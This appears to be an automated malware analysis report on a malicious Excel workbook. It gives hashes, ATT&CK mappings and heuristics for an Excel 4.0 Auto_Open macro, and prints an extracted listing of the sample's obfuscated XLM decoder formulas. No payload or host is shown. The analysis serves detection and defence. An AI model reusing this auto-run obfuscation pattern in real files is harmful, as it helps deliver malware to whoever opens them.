Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 335604f1407ed695…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:27 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 61d314889898d31a57bebbee85df86ac SHA-1: 55fddbe30297bec09bed71e37ff310258d6f87a8 SHA-256: 335604f1407ed6952e6fbdc0cae85f595e12184c205a48928a23dce5bc5693c3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro sheet is configured to automatically execute code upon opening the workbook. The presence of dangerous formula APIs further confirms the malicious intent to execute arbitrary code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6749 bytes
SHA-256: 82204f6736f0179a4e4326f797b46c9775f478ab5875a20ade0104909acb31cb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lERfFra
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D182 
' 0018     23 LABEL : Cell Value, String Constant - EcENFDgr len=0 
' 0018     26 LABEL : Cell Value, String Constant - edaaDyZfNRK len=0 
' 0018     24 LABEL : Cell Value, String Constant - FTBCcuqNx len=0 
' 0018     22 LABEL : Cell Value, String Constant - FVOrUBn len=0 
' 0018     24 LABEL : Cell Value, String Constant - fvvAPkZHM len=0 
' 0018     26 LABEL : Cell Value, String Constant - GMyZJXGjosk len=0 
' 0018     26 LABEL : Cell Value, String Constant - HhKkCofQEOR len=0 
' 0018     22 LABEL : Cell Value, String Constant - IwCHWYT len=0 
' 0018     27 LABEL : Cell Value, String Constant - JJToCfbKQLPq len=0 
' 0018     25 LABEL : Cell Value, String Constant - kbRUzqiRjH len=0 
' 0018     26 LABEL : Cell Value, String Constant - lmKHWoadpKd len=0 
' 0018     20 LABEL : Cell Value, String Constant - lvTnZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - oruWUpVD len=0 
' 0018     23 LABEL : Cell Value, String Constant - qlLOlYgH len=0 
' 0018     21 LABEL : Cell Value, String Constant - tBXqcH len=0 
' 0018     25 LABEL : Cell Value, String Constant - TpPQAcSEYB len=0 
' 0018     27 LABEL : Cell Value, String Constant - wvALUPredezW len=0 
' 0018     24 LABEL : Cell Value, String Constant - WYIYKdofV len=0 
' 0018     22 LABEL : Cell Value, String Constant - XVtYFoq len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZvcFmYufv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lERfFra,P92,"",3.00000000000000000000
'  lERfFra,P93,"",-1.00000000000000000000
'  lERfFra,P94,"",670.00000000000000000000
'  lERfFra,P95,"",-481.00000000000000000000
'  lERfFra,P96,"",-624.00000000000000000000
'  lERfFra,P97,"",-212.00000000000000000000
'  lERfFra,D99,"SET.NAME("IwCHWYT",0+VALUE("0"))",""
'  lERfFra,D102,"SET.NAME("wvALUPredezW",IwCHWYT)",""
'  lERfFra,D105,"SET.NAME("XVtYFoq",IwCHWYT)",""
'  lERfFra,D107,"SET.NAME("FVOrUBn",COUNTA(TpPQAcSEYB))",""
'  lERfFra,D112,"SET.NAME("GMyZJXGjosk",COUNTA(edaaDyZfNRK))",""
'  lERfFra,D115,[],""
'  lERfFra,D117,"SET.NAME("JJToCfbKQLPq","")",""
'  lERfFra,D119,"wvALUPredezW",""
'  lERfFra,D122,"SET.NAME("lvTnZ",HLOOKUP("*",TpPQAcSEYB,wvALUPredezW,FALSE))",""
'  lERfFra,D124,"lmKHWoadpKd",""
'  lERfFra,D126,"SET.NAME("EcENFDgr",IwCHWYT)",""
'  lERfFra,D131,[],""
'  lERfFra,D133,"EcENFDgr",""
'  lERfFra,D135,"HhKkCofQEOR",""
'  lERfFra,D139,"FTBCcuqNx",""
'  lERfFra,D144,"ZvcFmYufv",""
'  lERfFra,D147,"SET.NAME("WYIYKdofV",VALUE(HLOOKUP("*",edaaDyZfNRK,ZvcFmYufv,FALSE)))",""
'  lERfFra,D150,"oruWUpVD",""
'  lERfFra,D152,"JJToCfbKQLPq",""
'  lERfFra,D155,"XVtYFoq",""
'  lERfFra,D160,NEXT(),""
'  lERfFra,D165,"tBXqcH",""
'  lERfFra,D170,[],""
'  lERfFra,D173,"qlLOlYgH",""
'  lERfFra,D175,NEXT(),""
'  lERfFra,D179,RETURN(),""
'  lERfFra,D208,"SET.NAME("kbRUzqiRjH",D99)",""
'  lERfFra,D212,"TpPQAcSEYB",""
'  lERfFra,D214,"SET.NAME("edaaDyZfNRK",R74C13)",""
'  lERfFra,D218,"SET.NAME("qlLOlYgH",224)",""
'  lERfFra,D221,"SET.NAME("fvvAPkZHM",4)",""
'  lERfFra,D223,kbRUzqiRjH(),""
'  lERfFra,D224,HALT(),""